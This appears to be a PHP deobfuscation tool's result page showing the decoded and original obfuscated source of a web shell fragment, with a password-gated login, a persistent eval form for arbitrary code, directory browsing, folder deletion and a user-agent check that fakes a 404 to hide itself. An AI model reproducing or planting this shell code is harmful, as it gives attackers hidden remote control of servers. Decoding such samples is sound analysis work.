Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto zpMlc; BfL3d: $exp = explode("\x2f", $dir_raw); goto XLgGh; Yu8N5: ?> </center>..

Decoded Output download

<?  goto zpMlc; 
BfL3d: 
$exp = explode("/", $dir_raw); 
goto XLgGh; 
Yu8N5: 
?> 
</center><br><br>Path :<?php 
goto sKxnQ; 
Gfdbd: 
if ($_POST["pass"]) { 
    if ($_POST["passwd"] == $passwd) { 
        $_SESSION["enter"] = "enter"; 
        header("Location: ?"); 
    } 
} 
goto ee6wM; 
zpMlc: 
?> 
</textarea><br><br> 
<center><?php 
goto tnFEk; 
ee6wM: 
if (isset($_REQUEST["logout"])) { 
    session_destroy(); 
    header("Location: ?"); 
} 
goto f8ftD; 
IkSQ_: 
if ( 
    preg_match( 
        $user_agent_block, 
        $_SERVER["HTTP_USER_AGENT"] 
    ) 
) { 
    header( 
        "HTTP/1.0 404 Not Found" 
    ); 
    die(); 
} 
goto sgVNB; 
sKxnQ: 
echo " " . $do; 
goto Xgxen; 
WtTD1: 
if ($_GET["eval"] == "code") { 
    if ($_POST["eval_code"]) { 
        $_SESSION["eval_code"] = 
            $_POST["eval_code"]; 
        echo "<script>window.location = '?';</script>"; 
    } 
    echo "<font size="10">Persistent Eval Code</font><br><br><form enctype="multipart/form-data" method="post">\xa  <textarea style="width: 100%; height: 250px;" name="eval_code"></textarea>\xa            <br><br>\xa            <input type="submit" value="Eval">\xa            </form>"; 
} 
goto Ea0A3; 
xaTFb: 
if ($_GET["d"]) { 
    $dir = $_GET["d"]; 
} else { 
    $dir = str_replace("\", "/", getcwd()); 
} 
goto d6BAD; 
fyVmZ: 
if ($_GET["rmfolder"] == "true") { 
    if (rmdir($_GET["folder"])) { 
        echo "<script>alert('Folder Deleted !!!'); window.location = '?';</script>"; 
    } else { 
        echo "<script>alert('This Folder is Failed Delete !!!'); window.location = '?';</script>"; 
    } 
} 
goto q5deJ; 
kkx_J: 
if ($_GET["d"]) { 
    $dir_raw = $_GET["d"]; 
    chdir($_GET["d"]); 
} else { 
    $dir_raw = str_replace("\", "/", getcwd()); 
} 
goto BfL3d; 
YzdzG: ?>

Did this file decode correctly?

Original Code

goto zpMlc;
BfL3d:
$exp = explode("\x2f", $dir_raw);
goto XLgGh;
Yu8N5:
?>
</center><br><br>Path :<?php
goto sKxnQ;
Gfdbd:
if ($_POST["\x70\141\x73\163"]) {
    if ($_POST["\x70\141\163\x73\167\x64"] == $passwd) {
        $_SESSION["\145\156\x74\x65\x72"] = "\x65\156\x74\145\162";
        header("\114\157\143\141\164\x69\x6f\156\x3a\x20\77");
    }
}
goto ee6wM;
zpMlc:
?>
</textarea><br><br>
<center><?php
goto tnFEk;
ee6wM:
if (isset($_REQUEST["\x6c\x6f\147\157\165\x74"])) {
    session_destroy();
    header("\114\x6f\143\x61\164\x69\157\156\72\x20\77");
}
goto f8ftD;
IkSQ_:
if (
    preg_match(
        $user_agent_block,
        $_SERVER["\110\124\x54\120\137\125\123\105\x52\137\101\x47\x45\116\x54"]
    )
) {
    header(
        "\x48\124\124\120\x2f\61\x2e\x30\x20\x34\60\x34\x20\116\157\x74\40\106\x6f\165\x6e\x64"
    );
    die();
}
goto sgVNB;
sKxnQ:
echo "\40" . $do;
goto Xgxen;
WtTD1:
if ($_GET["\x65\x76\141\154"] == "\143\157\144\145") {
    if ($_POST["\x65\166\x61\154\137\143\157\x64\145"]) {
        $_SESSION["\x65\x76\141\154\137\x63\x6f\144\145"] =
            $_POST["\x65\x76\x61\154\x5f\x63\157\x64\145"];
        echo "\x3c\163\x63\x72\151\160\164\x3e\x77\x69\x6e\x64\x6f\167\x2e\154\x6f\x63\x61\x74\151\x6f\x6e\x20\75\40\47\77\x27\73\x3c\x2f\x73\143\162\151\x70\164\x3e";
    }
    echo "\x3c\146\157\156\164\x20\x73\151\x7a\x65\75\x22\61\x30\42\x3e\120\145\x72\x73\x69\x73\x74\x65\x6e\164\40\105\x76\x61\154\x20\103\157\144\145\74\x2f\146\157\x6e\164\x3e\x3c\142\162\76\74\142\162\x3e\74\x66\157\162\155\40\145\x6e\143\164\171\160\x65\75\42\x6d\165\x6c\x74\x69\160\x61\162\x74\x2f\146\x6f\162\x6d\55\x64\x61\x74\141\42\x20\x6d\145\x74\x68\157\x64\x3d\x22\x70\157\163\x74\42\76\xa\x20\40\74\x74\x65\170\164\x61\x72\x65\141\40\163\164\171\x6c\x65\x3d\42\x77\x69\x64\x74\x68\72\x20\x31\x30\60\x25\x3b\40\150\145\151\x67\x68\164\x3a\40\x32\65\60\160\170\73\x22\40\x6e\141\x6d\145\75\42\145\x76\x61\x6c\137\x63\x6f\144\x65\x22\76\x3c\x2f\164\x65\170\164\141\x72\x65\141\x3e\xa\x20\40\40\40\40\40\40\x20\40\x20\40\x20\x3c\x62\x72\x3e\x3c\x62\162\76\xa\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\74\151\156\x70\165\164\40\x74\171\x70\x65\x3d\x22\x73\x75\142\x6d\151\x74\x22\40\x76\141\x6c\x75\145\75\42\105\166\141\x6c\x22\x3e\xa\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x3c\57\146\x6f\x72\x6d\76";
}
goto Ea0A3;
xaTFb:
if ($_GET["\144"]) {
    $dir = $_GET["\144"];
} else {
    $dir = str_replace("\134", "\57", getcwd());
}
goto d6BAD;
fyVmZ:
if ($_GET["\162\x6d\146\157\154\144\x65\x72"] == "\x74\162\165\145") {
    if (rmdir($_GET["\146\157\x6c\144\x65\162"])) {
        echo "\x3c\163\x63\x72\151\x70\x74\x3e\x61\x6c\x65\162\164\x28\x27\x46\157\154\x64\145\x72\x20\x44\145\154\145\164\145\144\x20\41\41\x21\47\51\x3b\40\x77\x69\156\x64\x6f\x77\56\154\x6f\143\x61\164\151\157\x6e\x20\75\x20\47\x3f\47\x3b\74\x2f\163\143\x72\151\160\x74\76";
    } else {
        echo "\x3c\x73\143\162\x69\160\164\76\141\154\x65\162\164\x28\x27\124\150\x69\163\40\106\157\x6c\144\145\162\x20\151\x73\40\x46\x61\151\154\145\144\40\104\x65\154\145\164\145\40\41\x21\41\47\51\x3b\40\167\151\156\x64\157\167\x2e\154\x6f\143\141\x74\151\x6f\156\40\75\40\x27\77\x27\73\x3c\x2f\163\143\x72\151\x70\x74\76";
    }
}
goto q5deJ;
kkx_J:
if ($_GET["\x64"]) {
    $dir_raw = $_GET["\144"];
    chdir($_GET["\144"]);
} else {
    $dir_raw = str_replace("\x5c", "\57", getcwd());
}
goto BfL3d;
YzdzG:

Function Calls

None

Variables

None

Stats

MD5 7c2a54cab1c465aa9c5730a1ec6d3279
Eval Count 0
Decode Time 39 ms